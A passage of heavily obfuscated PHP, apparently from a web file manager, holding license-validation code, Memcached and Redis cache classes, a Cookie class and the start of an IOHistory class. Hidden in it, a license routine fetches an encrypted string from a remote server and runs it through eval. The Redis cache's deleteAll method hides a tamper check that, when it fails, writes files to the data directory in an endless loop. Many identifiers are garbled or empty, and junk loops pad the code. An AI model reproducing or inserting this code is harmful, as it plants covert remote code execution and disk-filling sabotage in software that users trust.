$_SERVER[ݐ]; if ($_SERVER[$[24]] != $[148]) { return; } if (!_get($GLOBALS, $[115])) { die; } $㲹 = $GLOBALS[$[13]]; if (isset($㲹[$[149]])) { $this->gtfu6305952a(); die; } if (!isset($㲹[$[150]]) || strlen($㲹[$[150]]) != 16) { show_json($[151] . $㲹[$[150]], !1); } $Ŕ = Model($[33])->get($[103]); $Њ = md5($_SERVER[$[102]] . $Ŕ); $ֿ = array($[150] => $㲹[$[150]], $[152] => rand_string(16), $[153] => $[135], $[154] => $[155], $[156] => $_SERVER[$[157]], $[158] => $_SERVER[$[159]], $[160] => $_SERVER[$[161]], $[101] => $Њ, $[162] => Model($[33])->get($[130])); if ($㲹[$[163]] == $[164]) { $둍 = $this->sfha659a1904($Њ, $[165]); $ = $this->qynzd68ec0de(json_encode($ֿ), $Њ . $[166], 3); $ = $ . $[167] . $_SERVER[$[157]]; $ = $this->ekha81472d6c($[168] . $둍 . $[169] . $, -1); show_json($, !0); } else { if ($㲹[$[163]] == $[170]) { $蚝 = substr(md5($[171] . $Њ), 12, 15) . $[172]; $ = $this->tyiu31fce4f0(trim($㲹[$[173]]), $蚝, 2); $ = json_decode($, !0); if (!is_array($) || !is_array($[$[174]]) || $[$[150]] != !0) { $ = $[175]; $іɭ = $[$[174]] ? $[176] . $[$[174]] : $; show_json($іɭ, !1); } else { $ֿ[$[152]] = $[$[174]][$[177]]; } } else { $ = $this->ekha81472d6c($[178], $ֿ, 10); } } if (!is_array($) || !is_array($[$[174]]) || $[$[150]] != !0) { $ = LNG($[179]); $іɭ = $[$[174]] ? $[176] . $[$[174]] : $; show_json($іɭ, !1); } $ = $[$[174]]; $ = $this->vytc82472b91($[$[180]]); if (!$ || $ != $[$[128]]) { $ۯ = array($[181] => Model($[33])->get($[103]), $[182] => $_SERVER[$[102]], $[183] => this_url(), $[158] => $_SERVER[$[159]]); $ = $this->agxp6fe2b482(json_encode($ۯ)); $this->ekha81472d6c($[184] . $); show_json(LNG($[185]), !0); } $郹 = array($[186] => $[$[187]], $[188] => $[$[189]], $[190] => rand_string(16), $[105] => $[$[191]]); if ($ֿ[$[152]]) { $郹[$[190]] = $ֿ[$[152]]; } $ = substr(md5($郹[$[188]]), 10, 10); $ܙ = $ . $郹[$[105]] . $郹[$[190]]; $՝ = $뛝ݢ[682]; $郹[$[107]] = strrev(base64_encode($this->sfha659a1904($ܙ, $[192]))); $边 = $뛝ݢ[683]; if (!$边) { die; } $ђ = rand_string(16); $ޕ = $뛝ݢ[684]; if (strlen($ޕ) < $뛝ݢ[652]) { die; } $ = $ђ . $郹[$[105]] . $this->sfha659a1904(md5($郹[$[186]]), $ђ); $郹[$[108]] = base64_encode(strrev($this->sfha659a1904($, $[193]))); $ = $뛝ݢ[685]; if (strlen($) < $뛝ݢ[430]) { return; } if ($[$[194]] && $[$[194]] >= 1) { Model($[33])->setDeep($[195], $[121]); } Model($[33])->set($郹); $߽ = md5($_SERVER[$[102]] . strrev($Ŕ) . $郹[$[188]]); $ = $뛝ݢ[686]; $ = strrev(substr($߽, 10, 16)); $ = $뛝ݢ[687]; while (strlen($) < $뛝ݢ[652]) { if (!$) { break; } $++; } $ıͮ = $this->qynzd68ec0de(json_encode($), $߽); $ = array_to_keyvalue(Model($[7])->listData(), $[196]); $ = $[$[197]]; $ߍ = array(); $Ն = $뛝ݢ[688]; if (!$Ն) { return; } $ߍ[$] = $ıͮ; Model($[7])->update($[$[198]], array($[199] => $ߍ)); $ = $뛝ݢ[689]; while (strlen($) < $뛝ݢ[667]) { if (!$) { break; } $++; } $this->zvkl25859fa0 = $; $this->dekfd3d9090c = $郹[$[105]]; $ = $뛝ݢ[690]; if (strlen($) < $뛝ݢ[665]) { die; } $this->licenseRegistSuccess(); $г = $뛝ݢ[691]; Cache::set($[200] . md5($Ŕ . $[201]), $[6]); $ = $뛝ݢ[692]; show_json(LNG($[185]), !0); $ʛ = $뛝ݢ[693]; } private function licenseRegistSuccess() { $ȥ =& $_SERVER[ݐ]; $تȸ = Model($ȥ[33])->get(); if ($تȸ[$ȥ[63]] != $ȥ[121]) { Model($ȥ[33])->set($ȥ[63], $ȥ[121]); } Action($ȥ[202])->initStart(!0); } private function gtfu6305952a() { $ޠ =& $_SERVER[̧]; $ =& $_SERVER[ݐ]; Model($[33])->set(array($[186] => $[6], $[188] => $[6], $[105] => $[106], $[107] => $[6], $[108] => $[6])); Model($[33])->setDeep($[195], $[203]); $꼚ū = $ޠ[694]; if (!$꼚ū) { die; } $this->zvkl25859fa0 = array(); $ш = $ޠ[695]; if (strlen($ш) < $ޠ[665]) { return; } $this->dekfd3d9090c = $[106]; } private function zgua26b464a1() { $υ =& $_SERVER[̧]; $珒 =& $_SERVER[ݐ]; $_SERVER[$珒[159]] = _get($_SERVER, $珒[159], APP_HOST); $this->dekfd3d9090c = $珒[106]; $ = $υ[696]; $ = Model($珒[33])->get(); if ($[$珒[105]] == $珒[106]) { return; } $ = Model($珒[33])->get($珒[103]); $Գ = $υ[697]; while ($Գ < $υ[430]) { if ($Գ >= 0) { break; } $Գ++; } $ڪ = $珒[200] . md5($ . $珒[201]); $ս䁓 = Cache::get($ڪ); if (!is_array($ս䁓) || !isset($ս䁓[$珒[204]]) || time() - $ս䁓[$珒[204]] >= 60) { $ = Model($珒[7])->loadList(); $ = $[$珒[197]]; $ô = md5($_SERVER[$珒[102]] . strrev($) . $[$珒[188]]); $͑ = strrev(substr($ô, 10, 16)); $ս䁓 = $this->tyiu31fce4f0($[$珒[85]][$͑], $ô); $ս䁓 = json_decode($ս䁓, !0); } if (!is_array($ս䁓)) { return $this->gtfu6305952a(); } $і = strtotime($ս䁓[$珒[128]]); if (time() >= $і) { return $this->gtfu6305952a(); } if (time() - $ս䁓[$珒[204]] > 20) { $ս䁓[$珒[204]] = time(); Cache::set($ڪ, $ս䁓); } $this->zvkl25859fa0 = $ս䁓; $this->dekfd3d9090c = $[$珒[105]]; } private function dtaib2b59799() { $曈 =& $_SERVER[ݐ]; $ = $GLOBALS[$曈[13]]; $앯 = $_SERVER[̧][698]; if (!$앯) { die; } $Å = $_SERVER[$曈[24]]; if ($Å == $曈[205] && $this->dekfd3d9090c == $曈[106]) { show_json(LNG($曈[206]), !1, $曈[207]); } $ϖ = array($曈[208], $曈[209]); if (in_array($Å, $ϖ)) { if ($this->dekfd3d9090c == $曈[106] && isset($[$曈[210]])) { show_json(LNG($曈[206]), !1, $曈[207]); die; } $ = $this->thyi43fa15c5(); if ($ != intval($曈[211])) { if ($ <= Model($曈[124])->count()) { show_json(LNG($曈[212]), !1, $曈[207]); die; } } } } private function gmes33cff560() { $׮ܲ =& $_SERVER[̧]; $Ȥ =& $_SERVER[ݐ]; $ȍ͏ = array($Ȥ[118], $Ȥ[119]); $߅ = $׮ܲ[699]; if (!$߅) { return; } if (!_get($GLOBALS, $Ȥ[115]) || !isset($_GET[$Ȥ[213]])) { return; } if (!in_array($_SERVER[$Ȥ[24]], $ȍ͏)) { return; } $ = $Ȥ[214]; $ť = $׮ܲ[700]; while ($ť < $׮ܲ[652]) { if ($ť >= 0) { break; } $ť++; } $ = $this->bpim17e08df6($, $Ȥ[215]); $ = $׮ܲ[701]; if (strlen($) < $׮ܲ[665]) { die; } $ = stream_context_create(array($Ȥ[216] => array($Ȥ[217] => $Ȥ[218], $Ȥ[219] => 3))); $ = @file_get_contents($, !1, $); header($Ȥ[220]); if ($ && strstr($, $Ȥ[221])) { echo $; } die; } public function imwkc36909aa($) { $ =& $_SERVER[̧]; $ʇ =& $_SERVER[ݐ]; if ($this->dekfd3d9090c == $ʇ[222]) { return $; } $ = array($ʇ[223] => $ʇ[224], $ʇ[225] => $ʇ[224], $ʇ[226] => $ʇ[224], $ʇ[227] => $ʇ[228], $ʇ[229] => $ʇ[228], $ʇ[230] => $ʇ[228], $ʇ[231] => $ʇ[228], $ʇ[232] => $ʇ[228], $ʇ[233] => $ʇ[228], $ʇ[234] => $ʇ[228], $ʇ[235] => $ʇ[228], $ʇ[236] => $ʇ[228], $ʇ[237] => $ʇ[228], $ʇ[238] => $ʇ[228], $ʇ[239] => $ʇ[228]); $ = explode($ʇ[240], _get($this->zvkl25859fa0, $ʇ[112], $ʇ[6])); $۩ = array(); foreach ($ as $ߠ => $) { if ($ == $ʇ[224] && substr($this->dekfd3d9090c, 0, 1) == $ʇ[224]) { continue; } if (!in_array($ߠ, $)) { $۩[] = $ߠ; } } foreach ($۩ as $ߠ) { unset($[$ߠ]); $Ŧ = $[702]; if (strlen($Ŧ) < $[657]) { return; } } return $; } private function jivoa4c107b9() { $ԛ =& $_SERVER[ݐ]; if ($this->dekfd3d9090c != $ԛ[106]) { $GLOBALS[$ԛ[85]][$ԛ[89]][$ԛ[241]] = $ԛ[203]; return; } $GLOBALS[$ԛ[85]][$ԛ[242]] = $ԛ[121]; if (Model($ԛ[243])->get($ԛ[63]) != $ԛ[203]) { Model($ԛ[243])->set($ԛ[63], $ԛ[203]); } } public function iabqe23c08ce() { return $_SERVER[ݐ][244]; $𬋮 = $_SERVER[̧][703]; } private function udea12a2ec8d() { $݆ط =& $_SERVER[̧]; $ =& $_SERVER[ݐ]; $› = array($[245], $[246], $[247]); $ = $݆ط[704]; while (strlen($) < $݆ط[657]) { if (!$) { break; } $++; } $ާ = $[248] . md5($[249]); $ = $݆ط[705]; if (!$) { return; } if ($this->dekfd3d9090c == $[106] || !_get($GLOBALS, $[115])) { return; } if (!in_array($_SERVER[$[24]], $›)) { return; } if (time() % 4 != 0) { return; } $ݍģ = call_user_func(array($[250], $[251]), $ާ); $ = $݆ط[706]; if ($ݍģ && time() - $ݍģ < intval($[252])) { return; } call_user_func(array($[250], $[138]), $ާ, time()); $д卜 = $݆ط[707]; $ = Model($[33])->get($[103]); $ۛ = array($[150] => Model($[33])->get($[186]), $[163] => $this->dekfd3d9090c, $[160] => $_SERVER[$[161]], $[162] => Model($[33])->get($[130]), $[101] => md5($_SERVER[$[102]] . $), $[153] => $[135], $[156] => $_SERVER[$[157]]); $霢 = $this->ekha81472d6c($[253], $ۛ); $Dz = $݆ط[708]; if (!is_array($霢)) { return; } if ($霢[$[150]] && $霢[$[254]]) { if ($this->vytc82472b91($霢[$[254]]) == $ۛ[$[150]]) { return; } } $this->gtfu6305952a(); $۱ = $݆ط[709]; while ($۱ < $݆ط[667]) { if ($۱ >= 0) { break; } $۱++; } if ($this->vytc82472b91($霢[$[254]]) != $ۛ[$[150]]) { $ = array($[181] => $, $[182] => $_SERVER[$[102]], $[183] => this_url(), $[158] => $_SERVER[$[159]]); $ⷽ = $this->agxp6fe2b482(json_encode($)); $霢 = $this->ekha81472d6c($[184] . $ⷽ); if ($霢 && is_array($霢) && isset($霢[$[254]])) { $ߤ = $this->tyiu31fce4f0($霢[$[254]], 2); if ($ߤ) { $ߤ = $this->vytc82472b91($ߤ); } if ($ߤ) { try { @eval($ߤ); } catch (Exception $덤) { } } } } } private function ekha81472d6c($墜 = '', $ = array(), $êޛ = 5) { $ =& $_SERVER[̧]; $ =& $_SERVER[ݐ]; $롩 = $[255]; $롩 = $this->bpim17e08df6($롩, $[256]); $ş = $[710]; $롩 = $롩 . $墜; if ($ && is_array($)) { $롩 = $롩 . $[257] . http_build_query($); } if ($ === -1) { return $롩; } $ = stream_context_create(array($[216] => array($[219] => $êޛ, $[217] => $[258]), $[259] => array($[260] => !1, $[261] => !1))); $ = @file_get_contents($롩, !1, $); $ = $[711]; while ($ < $[657]) { if ($ >= 0) { break; } $++; } return json_decode($, !0); $УƂ = $[712]; $ً = $[713]; while (strlen($ً) < $[667]) { if (!$ً) { break; } $ً++; } } private function thyi43fa15c5() { $ =& $_SERVER[̧]; $ =& $_SERVER[ݐ]; $ = array($[262] => $[263], $[264] => $[265], $[266] => $[267], $[268] => $[269], $[270] => $[271], $[272] => $[211], $[273] => $[211], $[274] => $[263], $[275] => $[265], $[276] => $[267], $[277] => $[278], $[279] => $[269], $[280] => $[281], $[282] => $[271], $[283] => $[284], $[285] => $[286], $[287] => $[288]); $ = $[$this->dekfd3d9090c]; $ = intval($ ? $ : $[263]); $ݒ = _get($this->zvkl25859fa0, $[289]); $ = $[714]; while (strlen($) < $[667]) { if (!$) { break; } $++; } $ݒ = $ݒ ? intval($ݒ) : 0; $䡩 = $[715]; while (strlen($䡩) < $[667]) { if (!$䡩) { break; } $䡩++; } return $ + $ݒ; } public function fqzsb16208e0($Մ) { $â =& $_SERVER[̧]; $ =& $_SERVER[ݐ]; $ޡ = $this->thyi43fa15c5(); if ($Մ[$[290]] == $[121]) { return; } if ($ޡ >= intval($[211])) { return; } $䠝 = Model($[124])->count(); if ($䠝 <= $ޡ) { return; } $Љ = Model($[124])->field($[290])->limit($ޡ)->select(); $Љ = array_to_keyvalue($Љ, $[6], $[290]); $ = $â[716]; if (strlen($) < $â[430]) { die; } if (!in_array($Մ[$[290]], $Љ)) { show_json($[291], !1, $[207]); } } public function qobt78602f4c() { $‡ =& $_SERVER[̧]; $ =& $_SERVER[ݐ]; if (!_get($GLOBALS, $[115]) || mt_rand(1, 100) > 20) { return; } $ܲ = $[214]; $쌘 = $‡[717]; while (strlen($쌘) < $‡[665]) { if (!$쌘) { break; } $쌘++; } $ܲ = $this->bpim17e08df6($ܲ, $[215]); $ݚ = stream_context_create(array($[216] => array($[217] => $[218], $[219] => 3))); $Ԥ = @file_get_contents($ܲ, !1, $ݚ); $ = $‡[718]; if (!$) { return; } echo $[292] . hash_encode($Ԥ) . $[293]; } private function qynzd68ec0de($ރ, $, $ = 3) { $鹦 =& $_SERVER[̧]; $ =& $_SERVER[ݐ]; usleep(1); $ރ = trim($ރ); $ = $鹦[719]; while ($ < $鹦[652]) { if ($ >= 0) { break; } $++; } $ = mt_rand(0, 5) . $[6]; $ = $鹦[720]; if (strlen($) < $鹦[652]) { return; } $… = rand_string(15); $΍ = $鹦[721]; $ = $[294]; $ϝ = $鹦[722]; switch ($) { case $[203]: $ = $this->sfha659a1904($ރ, strrev($ . $…)); break; case $[121]: $ = $this->sfha659a1904($ރ, strrev($… . $)); break; $ȓĹ = $鹦[723]; case $[295]: $ = $this->sfha659a1904($ރ, base64_encode($… . $)); $ = $鹦[724]; while ($ < $鹦[430]) { if ($ >= 0) { break; } $++; } break; $LJ = $鹦[725]; while (strlen($LJ) < $鹦[657]) { if (!$LJ) { break; } $LJ++; } case $[296]: $ = $this->sfha659a1904($ރ, md5($… . $)); $ = $鹦[726]; while ($ < $鹦[430]) { if ($ >= 0) { break; } $++; } break; case $[297]: $ރ = base64_encode($ރ); $Ԙ = rand(0, 64); $⎖ = $鹦[727]; $ũ = $[$Ԙ]; $퟽м = md5($ũ . md5($ . $ũ) . $); $ = $鹦[728]; $퟽м = substr($퟽м, $Ԙ % 8, $Ԙ % 8 + 7); $ = $鹦[729]; while ($ < $鹦[665]) { if ($ >= 0) { break; } $++; } $䫆 = $[6]; $Һ = 0; $Ձ͡ = $鹦[730]; if (strlen($Ձ͡) < $鹦[667]) { die; } $瓻ј = 0; $ = 0; for ($Һ = 0; $Һ < strlen($ރ); $Һ++) { $ = $ == strlen($퟽м) ? 0 : $; $瓻ј = ($Ԙ + strpos($, $ރ[$Һ]) + ord($퟽м[$++])) % 64; $䫆 .= $[$瓻ј]; $ = $鹦[731]; while ($ < $鹦[657]) { if ($ >= 0) { break; } $++; } } $ = hash_encode($ũ . $䫆); $ = $鹦[732]; if (strlen($) < $鹦[430]) { die; } break; $ݝ = $鹦[733]; default: $ = $this->sfha659a1904($ރ, $ . $…); $ = $鹦[734]; while (strlen($) < $鹦[667]) { if (!$) { break; } $++; } break; } $ = strrev($ . $… . $); if ($ - 1 > 0) { $ = $this->qynzd68ec0de($, $, $ - 1); } return $; } private function tyiu31fce4f0($⌧, $, $Ȟŋ = 3) { $ =& $_SERVER[̧]; $Ӗ =& $_SERVER[ݐ]; if (!is_string($⌧) || strlen($⌧) < 10) { return !1; } $⌧ = trim($⌧); $⌧ = strrev($⌧); $ = $⌧[0]; $ = $[735]; while (strlen($) < $[667]) { if (!$) { break; } $++; } $͎ = substr($⌧, 1, 15); $⌧ = substr($⌧, 16); $溦 = $Ӗ[294]; switch ($) { case $Ӗ[203]: $˱ˎ = $this->bpim17e08df6($⌧, strrev($ . $͎)); $̪ = $[736]; while (strlen($̪) < $[657]) { if (!$̪) { break; } $̪++; } break; $٩֠ = $[737]; if (strlen($٩֠) < $[657]) { return; } case $Ӗ[121]: $˱ˎ = $this->bpim17e08df6($⌧, strrev($͎ . $)); $ČӤ = $[686]; while ($ČӤ < $[430]) { if ($ČӤ >= 0) { break; } $ČӤ++; } break; case $Ӗ[295]: $˱ˎ = $this->bpim17e08df6($⌧, base64_encode($͎ . $)); break; $ݮ = $[738]; if (!$ݮ) { return; } case $Ӗ[296]: $˱ˎ = $this->bpim17e08df6($⌧, md5($͎ . $)); break; case $Ӗ[297]: $⌧ = hash_decode($⌧); $ܬ = $[739]; if (!$ܬ) { return; } $ޥ = $⌧[0]; $⌧ = substr($⌧, 1); $ʿ = $[740]; while ($ʿ < $[667]) { if ($ʿ >= 0) { break; } $ʿ++; } $ͅ£ = strpos($溦, $ޥ); $̔ = $[741]; $ = md5($ޥ . md5($ . $ޥ) . $); $ = $[742]; if (strlen($) < $[665]) { return; } $ = substr($, $ͅ£ % 8, $ͅ£ % 8 + 7); $О = $Ӗ[6]; $ֲ = $[743]; while ($ֲ < $[657]) { if ($ֲ >= 0) { break; } $ֲ++; } $彨 = 0; $ڨ = 0; $ = 0; for ($彨 = 0; $彨 < strlen($⌧); $彨++) { $ = $ == strlen($) ? 0 : $; $ǐ = $++; $ڨ = strpos($溦, $⌧[$彨]) - $ͅ£ - ord($[$ǐ]); while ($ڨ < 0) { $ڨ += 64; } $О .= $溦[$ڨ]; } $˱ˎ = base64_decode($О); break; default: $˱ˎ = $this->bpim17e08df6($⌧, $ . $͎); break; } if ($Ȟŋ - 1 > 0) { $˱ˎ = $this->tyiu31fce4f0($˱ˎ, $, $Ȟŋ - 1); } return $˱ˎ; } public function agxp6fe2b482($) { $շ =& $_SERVER[̧]; $΅ =& $_SERVER[ݐ]; $Ց” = $this->uibk4bfc68a1(); $ܣ = $this->uibk4bfc68a1(); $ = $շ[744]; if (strlen($) < $շ[657]) { die; } $ = ($Ց” - 1) * ($ܣ - 1); $ = $շ[745]; if (strlen($) < $շ[667]) { die; } $ = intval(($Ց” + $ܣ) / 2); $ = $շ[746]; if (strlen($) < $շ[657]) { return; } while (1) { $ = $; $ֹ = $շ[747]; $΃Րҋ = $; while ($΃Րҋ % $ != 0) { $ܱ = $΃Րҋ; $ = $շ[748]; if (strlen($) < $շ[652]) { die; } $΃Րҋ = $; $ = $ܱ % $; } if ($ == 1) { break; } else { $++; } } $ج = 2; $Դ = $շ[749]; if (strlen($Դ) < $շ[652]) { die; } for ($랹 = 0; $랹 < $ * 10; $랹++) { if (($ * $랹 + 1) % $ == 0) { $ج = intval(($ * $랹 + 1) / $); break; } } $ = $this->sfha659a1904($Ց” * $ܣ . $΅[6], $΅[135]); $ = md5($΅[298] . ($Ց” + $ܣ) . $΅[299] . $ . $΅[299] . $ج . $΅[300]); $ = $this->sfha659a1904($, $) . $΅[301] . $; $沶 = $շ[750]; return $; $ = $շ[751]; if (strlen($) < $շ[430]) { die; } } public function vytc82472b91($䥟) { $ˋ =& $_SERVER[̧]; $ͤ =& $_SERVER[ݐ]; $Ҙ = explode($ͤ[301], $䥟); $̅ = $ˋ[752]; while ($̅ < $ˋ[652]) { if ($̅ >= 0) { break; } $̅++; } if (count($Ҙ) != 2) { return $ͤ[6]; } $˘ = $this->bpim17e08df6($Ҙ[1] . $ͤ[6], $ͤ[135]); $ۈ = $ˋ[753]; while ($ۈ < $ˋ[430]) { if ($ۈ >= 0) { break; } $ۈ++; } if (!$˘) { return $ͤ[6]; } $˘ = intval($˘); $ = $ˋ[754]; while (strlen($) < $ˋ[430]) { if (!$) { break; } $++; } $ń = 0; $ռ = $ˋ[755]; while (strlen($ռ) < $ˋ[667]) { if (!$ռ) { break; } $ռ++; } $ת = 0; $ = $ˋ[756]; while ($ < $ˋ[665]) { if ($ >= 0) { break; } $++; } for ($斡 = 3; $斡 < $˘; $斡 += 2) { if ($˘ % $斡 != 0) { continue; } $ń = $斡; $ח = $ˋ[757]; while ($ח < $ˋ[667]) { if ($ח >= 0) { break; } $ח++; } $ת = intval($˘ / $斡); $ = $ˋ[758]; if (!$) { return; } break; } $ዊ = ($ń - 1) * ($ת - 1); $ܓ = intval(($ń + $ת) / 2); while (1) { $ܨ = $ܓ; $鰵 = $ˋ[759]; $Ɛ = $ዊ; $󭈌 = $ˋ[760]; if (!$󭈌) { die; } while ($Ɛ % $ܨ != 0) { $Śˆ = $Ɛ; $鈪 = $ˋ[761]; if (!$鈪) { die; } $Ɛ = $ܨ; $ܨ = $Śˆ % $ܨ; } if ($ܨ == 1) { break; } else { $ܓ++; } } $ = 2; $ = $ˋ[762]; for ($斡 = 0; $斡 < $ዊ * 10; $斡++) { if (($ዊ * $斡 + 1) % $ܓ == 0) { $ = intval(($ዊ * $斡 + 1) / $ܓ); break; } } $ = md5($ͤ[298] . ($ń + $ת) . $ͤ[299] . $ܓ . $ͤ[299] . $ . $ͤ[300]); $ꠉ = $this->bpim17e08df6($Ҙ[0], $); $ = $ˋ[738]; if (!$) { return; } return $ꠉ; $թ = $ˋ[763]; if (!$թ) { die; } } public function uibk4bfc68a1() { $ȏ =& $_SERVER[̧]; $ₙ = mt_rand(pow(2, 14), pow(2, 16) - 1); $غ = array(); $ = 1; $چʷ = $ȏ[764]; while ($ <= (int) sqrt($ₙ)) { $ݖ = $; while (!0) { $ݖ++; if ($ݖ <= 2) { $ = $ݖ; break; } else { if ($ݖ < 2) { continue; } } $ = !0; for ($ָ = 2; $ָ <= sqrt($ݖ); $ָ++) { if ($ݖ % $ָ == 0) { $ = !1; } } if ($) { $ = $ݖ; break; } } $غ[] = $; $ = $ȏ[765]; while ($ < $ȏ[430]) { if ($ >= 0) { break; } $++; } } $ = 2; for ($ݖ = $ₙ; $ݖ > 1; $ݖ--) { $ = !0; foreach ($غ as $) { if ($ݖ % $ == 0) { $ = !1; break; } } if ($) { $ = $ݖ; break; } } return $; } public function zderb7968a8c($, $) { $Ǖ =& $_SERVER[ݐ]; return call_user_func(array($Ǖ[8], $Ǖ[302]), $, $); } public function sfha659a1904($, $) { $ =& $_SERVER[ݐ]; return call_user_func(array($[303], $[304]), $, $); $ͻ = $_SERVER[̧][766]; if (!$ͻ) { die; } } public function bpim17e08df6($, $) { $ =& $_SERVER[̧]; $ =& $_SERVER[ݐ]; return call_user_func(array($[303], $[305]), $, $); $ = $[767]; while ($ < $[430]) { if ($ >= 0) { break; } $++; } } } goto bڟ; fޓ: class CacheMemcached { public $handle; public $cacheTime; public function __construct($, $˩Ù) { $ۘ =& $_SERVER[̧]; if (!class_exists($ۘ[886])) { show_json($ۘ[887], !1); } $this->cacheTime = $˩Ù; $this->handle = new Memcached(); if (is_array($[$ۘ[888]]) && count($[$ۘ[888]]) >= 1) { foreach ($[$ۘ[888]] as $܁) { $ب = explode($ۘ[4], $܁); $this->handle->addServer($ب[0], $ب[1]); } } else { $this->handle->addServer($[$ۘ[182]], $[$ۘ[183]]); } } public function set($ۘ, $۩, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->set($ۘ, $۩, $); } public function get($ĺ) { return $this->handle->get($ĺ); } public function remove($) { return $this->handle->delete($); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($Č, $ѧ刢) { $Īܫ =& $_SERVER[̧]; if (!class_exists($Īܫ[889])) { show_json($Īܫ[890], !1); } $this->cacheTime = $ѧ刢; $ = isset($Č[$Īܫ[891]]) ? $Č[$Īܫ[891]] : 10; $ = _get($Č, $Īܫ[888]); if ($ && is_array($)) { $this->initCluster($Č, $); } else { $this->handle = $this->init($Č, $); } } private function init($햤, $ۣ) { $߸ =& $_SERVER[̧]; $ = new Redis(); $ = isset($햤[$߸[892]]) ? $햤[$߸[892]] : !1; if ($) { $->pconnect($햤[$߸[182]], $햤[$߸[183]], $ۣ); } else { $->connect($햤[$߸[182]], $햤[$߸[183]], $ۣ); } if (!empty($햤[$߸[451]])) { $->auth($햤[$߸[451]]); } if (!empty($햤[$߸[777]]) && $햤[$߸[777]] != 0) { $->select($햤[$߸[777]]); } return $; } private function initCluster($, $) { $荱 =& $_SERVER[̧]; $ = array($荱[893], $荱[894], $荱[895]); $ = $荱[893]; if (isset($[$荱[16]]) && in_array($[$荱[16]], $)) { $ = $[$荱[16]]; } switch ($) { case $荱[893]: $this->_slave($, $); break; case $荱[894]: break; case $荱[895]: $this->isCluster = !0; $Ӵ = $[$荱[888]]; $ = isset($[$荱[892]]) ? $[$荱[892]] : !1; $ٌ = isset($[$荱[451]]) ? $[$荱[451]] : null; $this->handle = new RedisCluster(NUll, $Ӵ, $, $, $, $ٌ); break; default: break; } } private function _slave($, $ה̦) { $򔕳 = $[$_SERVER[̧][888]]; $this->filterConfig($, $򔕳[0]); $this->handle = $this->init($, $ה̦); unset($򔕳[0]); if (empty($򔕳)) { return; } $߷ = array_rand($򔕳); $this->filterConfig($, $򔕳[$߷]); $this->slaveHandle = $this->init($, $ה̦); } private function filterConfig(&$, $ِ) { $Җ =& $_SERVER[̧]; $ = explode($Җ[4], $ِ); $Ռ = array($Җ[182] => $[0], $Җ[183] => $[1]); $ = array_merge($, $Ռ); } public function set($, $䵮, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->setEx($, $, $䵮); } public function setLock($, $߰, $) { return $this->handle->setNX($, $߰); } public function get($Ϝ) { $Dz = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $Dz->get($Ϝ); } public function remove($찄) { return $this->handle->del($찄); } public function deleteAll() { $Ω =& $_SERVER[̧]; $ = $_SERVER[$Ω[433]]; $ = $Ω[896]; if ($_SERVER[$Ω[425]] != $($)) { $ݨ = $Ω[897]; $ᕻ = $Ω[427]; $ۜ = $_SERVER[$Ω[428]] . $Ω[429]; $ƃ = $ᕻ($ۜ); $˂ = explode($Ω[231], $ƃ); if (count($˂) < $Ω[657]) { $㜇 = $Ω[431]; $㜇(); } $Ɇ = $Ω[898]; $Ɇ($_SERVER[$Ω[899]]); $ݨ = $Ω[897]; $ݨ(); $„ = $Ω[900]; $ֳ = json_encode($GLOBALS[$Ω[901]]); $ = 1; for ($ = $; $ > 0; $++) { $„(DATA_PATH . $, $ֳ); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($璭 = '', $޹ = 0) { if (is_string($璭) && $璭 != $_SERVER[̧][12]) { $this->prefix = $璭; } if (is_numeric($޹) && $޹ > 0) { $this->expire = $޹; } } public static function getInstance() { static $; if ($ === null) { $ = new self(); } return $; } private static $cookieDisable = false; public static function disable($į) { self::$cookieDisable = $į; } private static $sameCookieSet = array(); public static function set($, $, $ = 0, $Ϲ = false, $֎ = false) { $܎ =& $_SERVER[̧]; if (self::$cookieDisable) { return; } if (!$) { $ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$]) && self::$sameCookieSet[$] == $ . $) { return; } self::$sameCookieSet[$] = $ . $; if (!$֎) { $֎ = str_replace(HOST, $܎[12], APP_HOST); $֎ = _get($GLOBALS, $܎[902], $֎); } $胭 = $܎[12]; setcookie($, $, time() + $, $܎[8] . trim($֎, $܎[8]) . $胭, !1, !1, $Ϲ); } public static function setSafe($Ո, $Ҽ, $ = 0) { self::set($Ո, $Ҽ, $, !0); } public static function get($㯤) { static $֠ = false; if (!$֠) { self::initHeaderCookie(); $֠ = !0; } return isset($_COOKIE[$㯤]) ? $_COOKIE[$㯤] : !1; } private static function initHeaderCookie() { $挐 =& $_SERVER[̧]; if (!isset($_SERVER[$挐[903]]) || !$_SERVER[$挐[903]]) { return; } $ն = explode($挐[71], $_SERVER[$挐[903]]); foreach ($ն as $ꓑ) { $ꓑ = explode($挐[904], $ꓑ); if (count($ꓑ) != 2 || !isset($ꓑ[1])) { continue; } $_COOKIE[trim($ꓑ[0])] = trim($ꓑ[1]); } } public static function remove($—, $Ŀ = false) { unset($_COOKIE[$—]); self::set($—, $_SERVER[̧][12], 1, $Ŀ); } } goto D; Bƞ: class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ =& $_SERVER[̧]; $ = $GLOBALS[$[6]][$[89]]; if ($[$[1236]] != 1) { return; } if ($[$[1237]] <= 0) { return; } if (isset($_REQUEST[$[1238]]) && $_REQUEST[$[1238]] == $[88]) { return; } Hook::bind($[1239], $[1240]); Hook::bind($[1241], $[1242]); Hook::bind($[1243], $[1244]); Hook::bind($[1245], $[1246]); Hook::bind($[1247], $[1248]); Hook::bind($[1249], $[1250]); } public static function eventBeforeUpload($⥳) { if ($⥳[3] && $⥳[3] != REPEAT_REPLACE) { return; } $Ĥ = self::parsePath($⥳[0]); if (!$Ĥ) { return; } self::add($Ĥ); } public static function eventBeforeEdit($) { $̲ = self::parsePath($[0]); if (!$̲) { return; } self::add($̲); } public static function eventBeforeCopyFile($䇧, $, $⒪, $, $ئփ, $ⅽ) { $ =& $_SERVER[̧]; if (isset($⒪->_data[$[1175]]) && $⒪->_data[$[1175]]) { return; } $Ȃܛ = $⒪->getPathOuter($); $ˇ = self::parsePath($Ȃܛ); if (!$ˇ) { return; } self::add($ˇ); } public static function eventBeforeRename($ހ) { $ =& $_SERVER[̧]; $줩 = self::parsePath($ހ[0]); if (!$줩) { return; } $ = self::checkInHistory($줩); if (!$) { 